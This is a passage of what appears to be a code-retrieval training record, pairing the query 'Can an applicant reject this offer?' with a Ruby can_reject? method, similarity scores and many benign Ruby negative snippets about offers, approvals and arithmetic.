1 && self.rewards.visible[0].sender == self.person\n end", "def accept!\n return unless accepted.nil?\n\n update(accepted: true)\n if add_owner_as_collaborator\n Collaborator.find_or_create_by!(user_id: cookbook.owner.id, resourceable: cookbook)\n end\n\n cookbook.update(user_id: recipient.id)\n end", "def offer\n self\n end", "def awaiting_financial_aid_approval?\n dean_approved? && !financial_aid_approved?\n end", "def can_buy?(item)\r\n item.buyable_by?(self)\r\n end", "def mandate_given?\n !self.given_mandates.empty?\n end", "def accept_invitation\n \n end", "def approved?\n !([STATE_UNKNOWN, STATE_BLOCK_REQUESTED, STATE_BLOCKED, STATE_APPROVAL_REQUESTED, STATE_UNAVAILABLE, STATE_CANCELLED, STATE_EXPIRED, STATE_AVAILABLE_EXPIRED].include?(self.state))\n end", "def is_require_accepting_user_to_match_invited_user_enabled\n return @is_require_accepting_user_to_match_invited_user_enabled\n end", "def accept_or_deny\n @user_application = UserApplication.find(params['user_application_id'])\n authorize @user_application\n status = params['accept_or_deny']\n @user_application.coordinator_notes = params['coordinator_notes']\n change_status(status, \"Application #{status.downcase} successfully\")\n end", "def accept!()\n self.status = Invite::Status::ACCEPTED\n invitable.add_member invitee\n save!\n end", "def collectible?\n !collected? && (unanimously_accepted? || !in_dispute_period?) && !contested?\n end", "def claimed_for_final_exam?\n claimed_final_application?\n end", "def applications_awarded_by_review_committee\n application_for_offerings.find(:all, \n :conditions => { :application_review_decision_type_id => application_review_decision_types.yes_option.id })\n end", "def approved?\n closed? && has_met_requirement?\n end", "def waiver?\n free_agent? && !waiver_bid\n end", "def informed_consent?\n consent_activity? && !reconsent? && !withdrawal? && !child_consent?\n end", "def accept\n authorize! :accept, @application\n @application.accept\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully accepted.' }\n format.json { head :no_content }\n else\n format.html { redirect_to @application, flash: { error: 'Unable to accept application.' } }\n format.json { render json: 'Unable to accept application', status: :unprocessable_entity }\n end\n end\n end", "def can_auction?(_company)\n true\n end", "def invited_for_interview?\n if offering.uses_interviews?\n application_review_decision_type.nil? ? false : application_review_decision_type.yes_option\n else\n false\n end\n end", "def sell_confirmed\n end", "def accept!\n self.state = :accepted\n end", "def accepted_application(vacancy, user)\n @vacancy = vacancy\n @user = user\n\n mail to: @user.email, subject: \"Your application for #{@vacancy.title} was accepted.\"\n end" ]
[ "0.71996206", "0.68589246", "0.6750572", "0.6728246", "0.6597135", "0.65781695", "0.65742993", "0.65563804", "0.6491666", "0.6434267", "0.6389413", "0.63456446", "0.63456446", "0.63456446", "0.6314786", "0.6314239", "0.62798774", "0.6276866", "0.6267067", "0.62586874", "0.6233337", "0.62262917", "0.6190498", "0.6174422", "0.6157551", "0.61508477", "0.6140338", "0.61243105", "0.61164397", "0.6110264", "0.61050427", "0.60982245", "0.60962766", "0.60923153", "0.6084675", "0.60840154", "0.6079236", "0.60373497", "0.6037251", "0.60364723", "0.60315204", "0.60124636", "0.60123414", "0.60109663", "0.6008413", "0.60067993", "0.5974055", "0.5945874", "0.5937333", "0.5925546", "0.59178096", "0.5916373", "0.5908035", "0.59025216", "0.5863378", "0.5857563", "0.58559614", "0.5855307", "0.5836229", "0.58347535", "0.58345973", "0.5833582", "0.5831182", "0.5831182", "0.5829703", "0.5828489", "0.58229035", "0.5821309", "0.58163214", "0.58126163", "0.5809641", "0.580671", "0.5801905", "0.58016", "0.5800462", "0.5797031", "0.5795019", "0.5792639", "0.57919043", "0.5778292", "0.5775974", "0.5767466", "0.5761141", "0.5756814", "0.57509696", "0.57493985", "0.5748129", "0.5744307", "0.57433504", "0.57431257", "0.5739298", "0.5738253", "0.5735285", "0.57340014", "0.57338905", "0.573315", "0.5727623", "0.57260907", "0.5725912", "0.57250917" ]
0.67484146
3
Can an applicant reject this offer?
def can_reject? !accepted? && !rejected? && !withdrawn? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reject_offer\n @auction = @current_user.auctions.find(params[:auction_id])\n @offer = @auction.offers.find(params[:offer_id])\n Alert.transaction do\n Alert.offer_to_reject_response!(@offer, @decision)\n if @decision\n @offer.reject!\n end\n end\n end", "def can_be_rejected?\n self.applied?\n end", "def reject\n @assignment.active_offer.rejected!\n render_success @assignment.active_offer\n end", "def reject!\n return false if self.approved == true\n self.destroy\n end", "def reject?(sender)\n false\n end", "def reject?(sender)\n false\n end", "def reject?(sender)\r\n false\r\n end", "def reject!\n raise RejectMessage\n end", "def reject\n app = options[:app]\n if app != nil\n if app.reject_version_if_possible!\n UI.success(\"Successfully rejected previous version!\")\n else\n UI.error(\"Application cannot be rejected\")\n end\n end\n end", "def reject(*)\n super.tap do\n __debug_sim('USER must make change(s) to complete the submission.')\n end\n end", "def reject?\r\n\t\tfalse\r\n\tend", "def ensure_eligible_for_confirmation\n unless @offering.confirmations_allowed?\n flash[:error] = \"We're sorry, but the confirmation process is currently disabled.\"\n redirect_to apply_url(@offering) and return\n end\n unless @user_application.passed_status?(\"fully_accepted\") || @user_application.passed_status?(\"fully_accepted_vad\")\n flash[:error] = \"You cannot go through the confirmation process until your application has been fully accepted.\"\n redirect_to apply_url(@offering) and return\n end\n end", "def cannot_edit(_offer)\n !session[:is_administrator] && _offer.unbilled_balance <= 0\n end", "def rejected?\n self.status == STATUS_REJECTED\n end", "def reject\n @application.update_attributes(status: 'rejected')\n redirect_to admin_event_path(@application.event_id),\n flash: { info: \"#{ @application.name}'s application has been rejected\" }\n end", "def reject_user\n # set the enabled flag to false for the user\n # clear activation code (prevents user from showing up as pending user)\n # send out rejection notification\n end", "def reject!(response_data={})\n @client.post(\"#{path}/reject\", response_data)\n end", "def reject\n if request.post?\n if @ad.mark_as_disapproved!(params[:reason])\n flash[:notice] = 'AD successfully rejected!'\n else\n flash_errors_model @ad\n end\n redirect_to url_for(action: :index)\n end\n end", "def reject(id)\n end", "def rejected?\n state == 'rejected'\n end", "def reject\n self[:status] = \"Reject\"\n save\n end", "def call_reject(accpt)\n @accept_model = accpt\n reject!\n end", "def rejected?\n state == :rejected\n end", "def rejected_application(vacancy, user)\n @user = user\n @vacancy = vacancy\n\n mail to: user.email, subject: \"Your application for #{@vacancy.title} was rejected.\"\n end", "def decline!\n return unless accepted.nil?\n\n update(accepted: false)\n end", "def disallow_if_accepted_proposal\n if listing.accepted_proposal and listing.accepted_proposal.id == id\n errors.add(:base, \"You can't remove an accepted proposal.\") \n end\n\n #if blank, return true, and therefore allow destruction\n errors.blank? \n end", "def reject!(person, reason)\n if (in_dispute_period? || contested?) && person_can_respond?(person) && response_for(person) != false\n self.class.transaction do\n BountyClaimEvent::BackerDisputed.create!(\n bounty_claim: self,\n person: person,\n description: reason\n )\n BountyClaimResponse.find_or_create_by_claim_and_person(self, person, false, reason) and reload\n end\n end\n end", "def reject\n self.update_attributes(:status => REJECTED)\n end", "def reject\n @company = Company.find(params[:id])\n if @company.reject!\n respond_with @company\n else\n respond_with @company, status: :unprocessable_entity\n end\n end", "def reject( id, reedo = false, do_amt_reject = false )\n connection.put( \"#{resource_uri}/#{id}/reject\", :headers => { \"Content-Length\" => \"0\" }, :body => { :redo => reedo ? \"true\" : \"false\", :do_amt_reject => do_amt_reject ? \"true\" : \"false\" } )\n end", "def deny\n self.granted = -1\n restaurant = Restaurant.find(self.restaurant_id)\n restaurant.mark_collaborative\n end", "def rejected?\n !!self.rejected_at\n end", "def can_bid_on?(offer)\n owns = (self == offer.user)\n in_transaction = offer.responses.any? { |r| r.status != 'open' }\n offer.is_parent_offer? && !owns && !in_transaction\n end", "def reject!\n self.sampling_priority = Sampling::Ext::Priority::USER_REJECT\n end", "def reject(reason = nil)\n log(2, \"Action: reject: \" + reason.to_s)\n raise DeliveryReject.new(reason.to_s)\n end", "def reject\n transition_to :rejected\n end", "def accepted?\n false\n end", "def reject(&blk); end", "def rejected(bid)\n @bid = bid\n mail :to => bid.bidder.email\n body :bid => bid\n end", "def reject\n copy self.class.reject(@id)\n true\n end", "def reject\n copy self.class.reject(@id)\n true\n end", "def reject!(user_id)\n if self.rejected_at.nil?\n self.update_attributes(rejected_at: Time.now, approved_at: nil, user: user_id)\n end\n self\n end", "def invite_rejected\n\t\t@players[0].socket.send({\"inviteRejected\"=>true}.to_json)\t\t\n\t\t@state = :CLOSED\n\tend", "def rejectable?\n status.to_sym.in? [StatusReponded]\n end", "def reject(deal)\n @deal, @merchant = deal, deal.merchant\n @deal_url = merchant_promo_url(@merchant, @deal)\n \n mail :to => deal.merchant.email\n end", "def reject(current_member, reason='', send_mail=true)\n General::ChangeStatusService.new(self, StatusLancer::REJECTED, current_member, reason).change\n\n if self.save\n # if send_mail == true\n # MemberMailerWorker.perform_async(job_id: self.id.to_s, perform: :send_job_rejection)\n # end\n return true\n else\n return false\n end\n end", "def rejection(recipient, listing_title, listing_id)\n subject \"Your listing \\'#{listing_title}\\' has been reject. Please edit and resubmitted.\"\n recipients recipient\n from 'Project Bordeaux No-Reply <[email protected]>'\n sent_on Time.now\n body :url => FB_APP_HOME_URL, :listing_title => listing_title, :listing_id => listing_id\n end", "def offer\n raise \"Unimplemented 'offer' for intention: #{self.inspect}!\"\n end", "def rejected?\n !self.rejected_at.nil?\n end", "def has_no_accepted_response?\n !self.has_accepted_response?\n end", "def can_accept?\n !accepted? && !rejected? && !withdrawn?\n end", "def reject\n throw :reject\n end", "def validate_allows_response\n if self.kase\n # self.errors.add(:kase, \"is %{status}\".t % {:status => self.kase.current_state_t}) unless self.kase.active?\n # self.errors.add(:kase, \"is not open\".t) unless self.kase.open?\n \n if self.person \n if self.kase.offers_reward?\n\n # only disallow rewarded self answers\n self.errors.add(:base, \"You cannot respond to your own rewarded %{type}\".t % {:type => self.kase.class.human_name}) unless self.person != self.kase.person\n\n end\n end\n end\n end", "def descriptively_ok?\n acceptance & DESCRIPTIVE == DESCRIPTIVE\n end", "def approve_deny\n appointment = Appointment.find(params[:appointment_id])\n if params[:confirmed]\n appointment.update_attribute(:request, false)\n appointment.email_confirmation_to_patient(:approve)\n render status: 200, json: {\n status: :confirmed,\n message: 'Appointment confirmed'\n }\n else\n appointment.email_confirmation_to_patient(:deny)\n appointment.destroy\n render status: 200, json: {\n status: :deleted,\n message: 'Appointment denied'\n }\n end\n # if params.has_key?(:approve)\n # appointment.request = false\n # appointment.save!\n # appointment.email_confirmation_to_patient(:approve)\n # elsif params.has_key?(:deny)\n # appointment.email_confirmation_to_patient(:deny)\n # appointment.destroy\n # end\n # redirect_to appointment_approval_path(@admin.id)\n end", "def reject(reason: nil, **keyword_args)\n append(Reject.new(reason: reason, **keyword_args))\n end", "def check_if_approval_is_required\n !offer_request.blank?\n end", "def my_reject(&prc)\n end", "def offer\n nil\n end", "def offer\n nil\n end", "def reject(&block); end", "def donor_can_cancel?\n !received?\n end", "def reject!(user = nil)\n run_callbacks :rejection do\n self.rejected_at = Time.now\n self.rejecter = user if user\n self.status = 'rejected'\n self.save!\n self.order_items.each(&:reject!)\n deliver_rejected_order_email\n end\n end", "def rejected?\n approval_state.present? ? approval_state == 'rejected' : approval.try(:rejected?)\n end", "def reject\n email = Email.find(params[:id])\n email.state = \"Rejected\"\n email.reject_reason = params[:reject_reason]\n if email.save!\n head :no_content\n else\n respond_with email, status: :unprocessable_entity\n end\n end", "def reject!(&block); end", "def deny(reason)\n user = self.adult_sponsor\n if self.destroy && reason.is_a?(Hash)\n user.group = nil\n user.save\n GroupMailer.send_denied_notice(user, self, reason['email_text']).deliver\n true\n else\n false\n end\n end", "def reject!(admin, reason)\n unless admin.is_a?(Admin)\n raise \"The author must be a Admin.\"\n end\n self.update_attributes(\n last_reject_reason: reason,\n last_rejected_by: admin.id,\n last_rejected_at: Time.now\n )\n update_status(STATUS_REJECTED)\n TipJournal.write_event_rejected(self, admin)\n # TODO: send email to tipster\n end", "def must_pay_to_avoid_cancellation\n\t\tif @event.start_date < (Time.now + 1.week) && @event.paid == false \n\t\t\t#cannot book event\n\t\tend\n\tend", "def reject_suggestion\n @invite.set_handled_suggested_user!\n redirect_to :dashboard, notice: \"You have declined the invitation suggestion.\"\n end", "def reject_promotion_if_no_conjunction\n if Promotion.where( id: BasketItem\n .where( basket_id: @basket_item.basket_id,\n type: 'UsingPromotion')\n .pluck(:promotion_id),\n conjunction: false).any? ||\n Promotion.find(@basket_item.promotion_id).conjunction == false &&\n BasketItem.where( basket_id: @basket_item.basket_id,\n type: 'UsingPromotion').any?\n flash[:danger] = \"Promotion cannot be used in conjunction with already applied promotions!\"\n @reject = true\n end\n end", "def disapprove\n self.approved = false\n end", "def hideOffer()\n @item['offer']['activate'] = false\n self.updateOffer()\n end", "def reject\n self['reject']||{}\n end", "def rejected?(user)\n rejecting_interpreters.include?(user)\n end", "def reject(message_id)\n raise NotImplementedError\n end", "def can_be_accepted_by?(acceptor)\n self.can_accept? && self.kase.person == acceptor &&\n (self.kase.offers_reward? ? self.kase.owner_only_offers_reward? : true)\n end", "def reject_item(array, item_to_reject)\n # Your code here\nend", "def accept\n @assignment.active_offer.accepted!\n render_success @assignment.active_offer\n end", "def reject_transfer\n self.status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n end", "def reject_transfer\n self.status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n end", "def reject_transfer\n self.status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n end", "def reject\n log_debug { \"Rejecting job with jid: #{item[JID_KEY]} already running\" }\n send_to_deadset\n end", "def make_sure_no_duplicate_offers\n other_offer = self.sender.active_offer_between_user_for_textbook(self.reciever_id, self.textbook_id)\n\n if other_offer.nil?\n if self.listing.nil?\n\t if self.selling?\n self.errors.add(:reciever_id, \"You don't have a current listing 'For Sale' for this book. You must post a listing before sending an offer to sell your book.\")\n\t else\n self.errors.add(:reciever_id, \"#{self.reciever.username} doesn't have a current listing 'For Sale' for this book.\")\n\t end\n\n return false\n\tend\n \n return true\n end\n\n if self.reciever_id == other_offer.reciever_id\n self.errors.add(:reciever_id, \"You already sent #{self.reciever.username} an offer for this book. You can check your offers sent by navigating to the 'Offers' page in the upper-left links then clicking 'View sent offers here'. (note: once a user rejects (not counter offers) your offer for a particular book, you may only respond to their offers)\")\n return false\n elsif other_offer.selling? != self.selling?\n other_offer.update_status(2)\n return true\n else\n self.errors.add(:reciever_id, \"#{self.reciever.username}'s removed their listing for this book!\")\n end\n end", "def decline\n authorize! :decline, @application\n @application.decline\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully declined.' }\n format.json { head :no_content }\n else\n format.html { redirect_to @application, flash: { error: 'Unable to decline application.' } }\n format.json { render json: 'Unable to decline application', status: :unprocessable_entity }\n end\n end\n end", "def reject_automount!\n @reject_automount = true\n end", "def unredeemable?\n payment_owed? && !(ProductStrategy === self.order.promotion.strategy) \n end", "def reject\n @locale_entry.approved = false\n @locale_entry.reviewer = current_user\n @locale_entry.save!\n\n respond_with @source_entry, @locale_entry, location: glossary_source_locales_url\n end", "def rejected\n RequestMailer.rejected\n end", "def not_author_response\n if author_respondent?\n errors[:author] << 'cannot answer their own poll'\n end\n end", "def reject_booking\n BookingstatusMailer.reject_booking\n end", "def set_eligibility\n update_attribute_without_callbacks(:eligible,\n mandatory ||\n (amount != 0 && eligible_for_originator?))\n end", "def can_be_approved?\n self.applied?\n end", "def unsuccessful_app?\n !awarded? && !withdrawn?\n end", "def refuse\n @presentation.refuse!\n redirect_to admin_submissions_path((@presentation.poster ? :poster : :contributed) => 1), notice: 'The presentation has been unaccepted.'\n end", "def is_payslip_rejected(date)\n approve = MonthlyPayslip.find_all_by_salary_date_and_employee_id(date,self.id,:conditions => [\"is_rejected = true\"])\n if approve.empty?\n return false\n else\n return true\n end\n end", "def approved?\n !pending\n end", "def can_receive_bids?\n is_parent_offer? && bids.empty?\n end", "def offer\n end", "def offer\n end" ]
[ "0.74356776", "0.7392785", "0.73851", "0.71458185", "0.6582555", "0.6582555", "0.6573929", "0.6561897", "0.65580153", "0.6515051", "0.6505544", "0.6490884", "0.6474272", "0.64692014", "0.64689565", "0.6466167", "0.6381114", "0.635267", "0.6346825", "0.6344122", "0.6320541", "0.6307742", "0.62688345", "0.625794", "0.6219497", "0.6219311", "0.6218289", "0.6170868", "0.61531746", "0.6133266", "0.61240107", "0.61096597", "0.60871935", "0.60731095", "0.60727507", "0.6069003", "0.6065667", "0.60618573", "0.6028693", "0.6025887", "0.6025887", "0.6021101", "0.60163", "0.60112673", "0.60110277", "0.6005556", "0.6003733", "0.59857315", "0.596854", "0.5965073", "0.5964161", "0.5953013", "0.59512526", "0.5946059", "0.5908578", "0.5908385", "0.5882053", "0.587936", "0.58787614", "0.58787614", "0.58761644", "0.58667284", "0.5865556", "0.5863781", "0.5862601", "0.58521616", "0.58407986", "0.58407235", "0.5826832", "0.5804784", "0.58015454", "0.5799709", "0.5789973", "0.5777492", "0.57729304", "0.57654506", "0.5761821", "0.57599723", "0.5750743", "0.57385385", "0.57385385", "0.57385385", "0.5734638", "0.57206464", "0.5711256", "0.57080036", "0.57070297", "0.57046306", "0.57004786", "0.5695146", "0.56881243", "0.56872916", "0.56853783", "0.5681012", "0.5680497", "0.567968", "0.56773543", "0.5665353", "0.5661671", "0.5661671" ]
0.6754919
4
four(plus(nine)) must return 13 eight(minus(three)) must return 5 six(divided_by(two)) must return 3
def switch(number, twitch) return number if twitch.nil? check_num = twitch.index(twitch.find { |x| x != nil }) # p check_num case check_num when 0 then number + twitch[check_num] when 1 then number - twitch[check_num] when 2 then number * twitch[check_num] when 3 then number / twitch[check_num] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def always_three_method(number)\n\t(((number+5)*2 -4)/2 - number)\nend", "def always_three (numberi)\n \n (((((numberi+5)*2)-4)/2)-numberi)\n \nend", "def always_three(num)\n (((num + 5) * 2 - 4) / 2 - num)\nend", "def times_three_and_plus_five(number)\n number * 3 + 5\n end", "def test_subtracts_numbers\n\t\tassert_equal 6, subtract(10, 4)\n\tend", "def get_number(result)\n # This is not mathematical correct, because we cant subtract\n puts \"Well done, #{result} == 24\" if 1 / 3 + 4 * 6 == result\n # But, if we can, here is solution: 6.0 / (1.0 - 3.0 / 4.0)\nend", "def arithmetic1 (n)\nn*5-20\nend", "def test_more_than_one_variable\n assert_equal(20,minus(80,40,20))\t\n end", "def always_three(number)\n(((number + 5) * 2 - 4) / 2 - number).to_s\nend", "def test_operaciones\n\t\t#Con la Suma\n\t\tassert_equal(\"6\", Fraccion.new(25,5).suma(3,3).to_s)\n\t\tassert_equal(\"8/3\", Fraccion.new(2,3).suma(4,2).to_s) \n\t\t#Con la Resta\n\t\tassert_equal(\"-4/3\", Fraccion.new(2,3).resta(4,2).to_s)\n\t\tassert_equal(\"-3\", Fraccion.new(-4,2).resta(2,2).to_s)\n\t\t#Con la Multiplicacion\n\t\t#Se comprueban todas las posibilidades\n\t\tassert_equal(\"4/15\", Fraccion.new(2,3).mult(2,5).to_s)\n\t\tassert_equal(\"-2/5\", Fraccion.new(1,1).mult(-2,5).to_s)\n\t\tassert_equal(\"1\", Fraccion.new(5,5).mult(1,1).to_s)\n\t\tassert_equal(\"-1\", Fraccion.new(-5,5).mult(1,1).to_s)\n\t\tassert_equal(\"-1\", Fraccion.new(5,-5).mult(1,1).to_s)\n\t\tassert_equal(\"1\", Fraccion.new(-5,-5).mult(1,1).to_s)\n\t\tassert_equal(\"1/2\", Fraccion.new(5,5).mult(1,2).to_s)\n\t\tassert_equal(\"-1/2\", Fraccion.new(-5,5).mult(1,2).to_s)\n\t\tassert_equal(\"-1/2\", Fraccion.new(5,-5).mult(1,2).to_s)\n\t\tassert_equal(\"1/2\", Fraccion.new(-5,-5).mult(1,2).to_s)\n\t\tassert_equal(\"0\", Fraccion.new(0,5).mult(1,2).to_s)\n\t\tassert_equal(\"0\", Fraccion.new(0,-5).mult(1,2).to_s)\n\t\tassert_equal(\"0\", Fraccion.new(5,-5).mult(0,2).to_s)\n\t\tassert_equal(\"0\", Fraccion.new(-5,-5).mult(0,2).to_s)\n\t\t#Con la Division\n\t\tassert_equal(\"5/3\", Fraccion.new(2,3).div(2,5).to_s)\n\t\tassert_equal(\"-1\", Fraccion.new(25,5).div(-10,2).to_s)\n\t\tassert_equal(\"-1\", Fraccion.new(-25,5).div(10,2).to_s)\n\tend", "def test_score_working\n assert_equal score(\"abcdef\"), (1 + 3 + 3 + 2 + 1 + 4)\n assert_equal score(\"zebra\"), (10 + 1 + 3 + 1 + 1)\n end", "def three_and_5(number)\r\n \r\nend", "def add_three(number)\n return number + 7\n number + 12\nend", "def test_cantidad_cuotas\n print validate(36, cantidad_cuotas(16,1900.0))\n print validate(24, cantidad_cuotas(29,2100.0)) \n print validate(12, cantidad_cuotas(19,700.0)) \n print validate(6, cantidad_cuotas(20,1000.0))\n print validate(3, cantidad_cuotas(15,3200.0)) \nend", "def sum_multiples_3_and_5\n return 3 * 333 * 334 / 2 + 5 * 199 * 200 / 2 - 15 * 66 * 67 / 2\nend", "def arithmetic1(n)\r\r\n n * 5 - 20\r\r\nend", "def test_multiplies_two_numbers\n\t\tassert_equal 9, multiply(3,3)\n\tend", "def test_addition\n test = Calculator.new\n assert_equal(4.0 , test.solve_equation(\"2 2 +\"))\n assert_equal(2.0 , test.solve_equation(\"-2 +\"))\n assert_equal(-18.0 , test.solve_equation(\"-20 +\"))\n end", "def test_subtracts_numbers\n result = @calculator.subtracts(10, 4)\n expected = 6\n assert_equal expected, result\n end", "def test\n\t\t@a+@b > @c && @a+@c > @b && @b+@c > @a\n\tend", "def test_costo_cafe\n print validate(177.56, costo_cafe(100.0,7))\n print validate(1537.30, costo_cafe(1000.0,5)) \n print validate(363.0, costo_cafe(300.0,2)) \nend", "def six\n square_of_sum(100) - sum_of_squares(100)\nend", "def test\n\t\tvar = if @a >= @b+@c or @b >= @a+@c or @c >= @b+@a then 5\n\t\telsif @a == @b and @a == @c then var = 1\n\t\telsif @a**2 == @b**2 + @c**2 or @b**2 == @a**2 + @c**2 or\n\t\t\t@c**2 == @b**2 + @a**2 then var = 4\n\t\telsif @a == @b or @a == @c or @b == @c then var = 2\n\t\telse var = 3\n\t\tend\n\n\t\treturn var\n\tend", "def always_three_again(number)\n\tnumber = (((number + 5) * 2 - 4) / 2 - number).to_s\n\t\nend", "def three(number)\n puts 'Always ' + (((number + 5) * 2 - 4) / 2 - number).to_s\nend", "def DISABLED_test_multiplication_addition_and_division\n assert_parses_to [DecimalToken.new(0),\n MultiplyOpToken.instance,\n IntegerToken.new(2),\n AddOpToken.instance,\n IntegerToken.new(3),\n DivideOpToken.instance,\n IntegerToken.new(4)],\n ExpressionNode.new(\n TermNode.new(\n FactorNode.new(\n BaseNode.new(\n DecimalToken.new(0))),\n TermPrimeNode.new(\n MultiplyOpToken.instance,\n FactorNode.new(\n BaseNode.new(\n IntegerToken.new(2))),\n TermPrimeNode.new)),\n ExpressionPrimeNode.new(\n AddOpToken.instance,\n TermNode.new(\n FactorNode.new(\n BaseNode.new(\n IntegerToken.new(3))),\n TermPrimeNode.new(\n DivideOpToken.instance,\n FactorNode.new(\n BaseNode.new(\n IntegerToken.new(4))),\n TermPrimeNode.new)),\n ExpressionPrimeNode.new))\n end", "def sum_of_proper_divisors(n)\n\n sum_factor1 = factors_numbers(n).reduce(:+)\n number2 = sum_factor1\n sum_factor2 = factors_numbers(number2).reduce(:+)\n if (n == sum_factor2) && (number2 == sum_factor1) && (n != number2)\n return \"Yes, amicable with #{number2}\" \n else\n \"No\"\n end \n\nend", "def solution(number)\n mul3 = (number - 1) / 3\n mul5 = (number - 1) / 5\n mul15 = (number - 1) / 15\n\n (3 * mul3 * (mul3 + 1) + 5 * mul5 * (mul5 + 1) - 15 * mul15 * (mul15 + 1)) / 2\nend", "def test_simple_equations\t\t\n \tassert_equal 3\t,Equation.new('2+1').resolve\t\n \tassert_equal 3\t,Equation.new('(2+1)').resolve\t\n \tassert_equal 5\t,Equation.new(' 4 + 1').resolve\n \tassert_equal 21\t,Equation.new(' 4*5 + 1').resolve\n \tassert_equal 21\t,Equation.new(' 4 *5 + 1').resolve\n \tassert_equal 19\t,Equation.new(' 4 *5 + -1 ').resolve\n end", "def arthamatic_operation(number)\n\tnumber + 3\nend", "def how_many_solutions?(a, b, c)\n test = b**2 - 4*a*c\n if test > 0\n 2\n elsif test == 0\n 1\n else\n 0\n end\nend", "def test_Arithmetic_Sample03\n assert_equal(4, 2**2)\n assert_equal(0.5, 2.0**-1)\n assert_equal(0.5, 2**-1.0)\n assert_equal(3.0, 27**(1.0/3.0))\n assert_equal(1, 2**0)\n assert_equal(1, 2**(1/4))\n assert_equal(2.0, 16**(1.0/4.0))\n end", "def test_two\n\t\tmy_number = \"1234\"\n\t\tbash_numbers = [\"1233\",\"1244\",\"1255\",\"1234\"]\n\t\tassert_equal([\"1234\"],grand_bash(my_number,bash_numbers))\n\tend", "def procedure(input)\n return FIZZ + BUZZ if rules.div_by?(input, 3, 5)\n return FIZZ if rules.div_by?(input, 3)\n return BUZZ if rules.div_by?(input, 5)\n return FIZZ if rules.has_digit?(input, 3) if @check_digit\n return BUZZ if rules.has_digit?(input, 5) if @check_digit\n input\n end", "def test_subtract\n \tassert_equal 5, @calc.subtract(10,5)\n end", "def d(n)\r\n proper_divisors(n).reduce(:+)\r\nend", "def add_three(n)\n n + 3\nend", "def test_dsl_9\n #---------------------------------------------\n show Paper + ((Spock + Paper) - Lizard + Rock)\n #---------------------------------------------\n assert_equal \\\n \"Paper disproves Spock (winner Paper)\\n\" \\\n \"Lizard eats Paper (loser Paper)\\n\" \\\n \"Paper covers Rock (winner Paper)\\n\" \\\n \"Paper tie (winner Paper)\\n\" \\\n \"Result = Paper\\n\", \\\n @out.string\n end", "def smallest_multiple\n 9*16*5*7*11*13*17*19\nend", "def plus_three(num)\n num + 3\nend", "def add_three(number)\n number + 3\n number + 4 \nend", "def add_three(number)\n return number + 3\n number + 4\nend", "def add_three(number)\n return number + 3\n number + 4\nend", "def add_three(number)\n return number + 3\n number + 4\nend", "def add_three(number)\n return number + 3\n number + 4\nend", "def add_three n1, n2, n3\n return n1 + n2 + n3\nend", "def test_multiple_sub_expressions\n secs_in_year = compile '60*60*24*7*52'\n assert_eq 3, depth(@compiler.ast)\n end", "def validate(n)\n # reverse the number\n reversed = reverser(n)\n cleaned = cleaner(reversed)\n checker(cleaned)\n # reversed_number_string = n.to_s.reverse.chars\n # double every other number\n # doubler(reversed_number_string)\n # doubled = reversed_number_string.map.with_index do |number, index|\n # if index % 2 != 0\n # number.to_i * 2\n # else\n # number.to_i\n # end\n # end\n # check to see if each number is > 10\n # cleaned = doubler(reversed).map do |number|\n # if number / 10 >= 1\n # number - 9\n # else\n # number\n # end\n # end\n # # binding.pry\n # # if so, subtract 9\n # # if not, leave as is\n # # sum the numbers (reduce), check to see if divisbile by 10, return boolean\n # cleaned.reduce(:+) % 10 == 0\nend", "def calculation(operant)\n\tnum1 = rand(10)\n\tnum2 = rand(10)\n\t if operant == '*'\n\t prob = \"#{num1} * #{num2}\"\n\t ans = num1 * num2\n\t correct_chk(ans,prob)\n\t elsif operant == '-'\n\t prob = \"#{num1} - #{num2}\"\n\t ans = num1 - num2\n\t correct_chk(ans,prob)\n\t else operant == '+'\n\t prob = \"#{num1} + #{num2}\"\n\t ans = num1 + num2\n\t correct_chk(ans,prob)\n\t end\n end", "def add_three(number)\n number + 3\n return number + 4\nend", "def sum_of_multiples_of_three_and_five(num)\n\ta = sum_of_first_n_multiples(3, (1000/3))\n\tb = sum_of_first_n_multiples(5, (1000/5))\n\tc = sum_of_first_n_multiples(15, (1000/15))\n\treturn (a + b - c - 1000)\nend", "def checkDef?(num1, num2, num3)\n if(num1**2 + num2**2 == num3**2 && num1+num2+num3==$sum)\n return true\n end\nend", "def test_division\n assert_equal 13,@a.division(@b).num\n assert_equal 12,@a.division(@b).denom\n end", "def can_be_divided_by(n1, n2, n3)\n number_one_remainder = n1 % n2\n number_two_remainder = n1 % n3\n if number_one_remainder == 0\n puts \"Yes, you can divide by #{n2}\"\n else\n puts \"No, you can't divide by #{n2}\"\n end\n if number_two_remainder == 0\n puts \"Yes, you can divide by #{n3}\"\n else\n puts \"No, you can't divide by #{n3}\"\n end\nend", "def solution(number)\n return (0...number).select{ |x| ((x % 3 == 0) || (x % 5 == 0))}.reduce(:+)\nend", "def problem_nine(sum)\n (1..sum).each do |m|\n (1..sum).each do |n|\n # Thank you, Wikipedia:\n # http://en.wikipedia.org/wiki/Formulas_for_generating_Pythagorean_triples\n a = n ** 2 - m ** 2\n b = 2 * m * n\n c = n ** 2 + m ** 2\n return a, b, c if a + b + c == sum\n end\n end\n end", "def always_threes\n puts \"Give me a number\"\n number = gets.to_i\n puts \"Always \" + (((number + 5) * 2 - 4) / 2 - number).to_s + \"!\"\nend", "def add_three(num)\n\nend", "def test_addition_of_two_number\n # assert_raises \"Invalid values.\" do\n magic_ball = MagicBall.new\n puts \"--------------\"\n puts magic_ball.addition(5, 5)\n puts \"--------------\"\n assert magic_ball.addition(5, 5), 10\n # assert addition == 10\n # end\n end", "def test_it_can_add_two_number\n calc = Calculator.new\n\n result = calc.add(2, 4)\n\n assert_equal 6, result\nend", "def test_Arithmetic_Sample04\n assert_equal(16, 2**2**2)\n assert_equal(81, 3**2**2)\n end", "def test_worker_markup\n assert_equal 0, worker_markup(0, 0)\n assert_equal 1.26, worker_markup(100, 1)\n assert_equal 3.78, worker_markup(100, 3)\n assert_equal 88.20, worker_markup(999.99, 7)\n puts 'worker_markup calculating as expected'\n end", "def add_three num1,num2,num3\n num1+num2+num3\nend", "def sum_three_numbers(number1, number2, number3)\n return number1 + number2 + number3\nend", "def 